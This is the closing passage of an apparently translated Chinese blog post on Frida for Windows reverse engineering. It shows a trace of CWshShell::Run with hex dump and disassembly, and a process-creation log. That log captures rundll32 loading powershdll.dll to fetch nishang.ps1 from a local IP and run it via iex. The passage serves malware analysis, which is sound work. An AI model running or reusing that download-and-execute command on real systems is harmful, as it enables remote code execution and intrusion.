[+] DispCallFunc instance:0x69901070 oVft:0x24 vftbPtr:0x69901094 functionAddress:0x69906260 modules.length:133 wshom.ocx: 0x69900000 147456 C:\Windows\System32\wshom.ocx DebugSymbol.loadModule C:\Windows\System32\wshom.ocx DebugSymbol.loadModule loadedModuleBase: true functionName:0x69906260 wshom.ocx!CWshShell::Run [+] address: 0x69906260 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 00000000 8b ff 55 8b ec 81 ec 5c 08 00 00 a1 b4 52 91 69 ..U....\.....R.i 00000010 33 c5 89 45 fc 8b 45 10 8b 4d 14 8b 55 18 89 85 3..E..E..M..U... 00000020 f8 f7 ff ff 89 8d ec f7 ff ff 89 95 e4 f7 ff ff ................ 00000030 c7 85 .. 0x69906260: mov edi, edi 0x69906262: push ebp 0x69906263: mov ebp, esp 0x69906265: sub esp, 0x85c 0x6990626b: mov eax, dword ptr [0x699152b4] 0x69906270: xor eax, ebp 0x69906272: mov dword ptr [ebp - 4], eax 0x69906275: mov eax, dword ptr [ebp + 0x10] 0x69906278: mov ecx, dword ptr [ebp + 0x14] 0x6990627b: mov edx, dword ptr [ebp + 0x18]
此外,你可以添加设备回调,它将监视进程创建行为。下面显示了rundll子进程用于通过powershdll.dll DLL的主要功能运行PowerShell命令来运行PowerShell。
⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\\Windows\\System32\\rundll32.exe', argv=['C:\\Windows\\System32\\rundll32.exe', 'C:\\Users\\tester\\AppData\\Local\\Temp\\powershdll.dll,main', '.', '{', 'Invoke-WebRequest', '-useb', 'http://192.168.10.100:8080/nishang.ps1', '}', '^|', 'iex;'], envp=None)
0x04 分析总结
Frida是我在Windows平台上使用过的最方便,最方便的动态分析工具,WinDbg,OllyDbg和PyKD用于高级逆向,他们有自己的位置和用法。但是,对于真正快速和重复的分析工作,Frida绰绰有余,并且具有转储和分析程序行为的强大功能。有了Frida 12.9.8,我们现在有了更好的符号处理能力,这将提高整体可用性和生产率。
本文翻译自:https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html如若转载,请注明原文地址: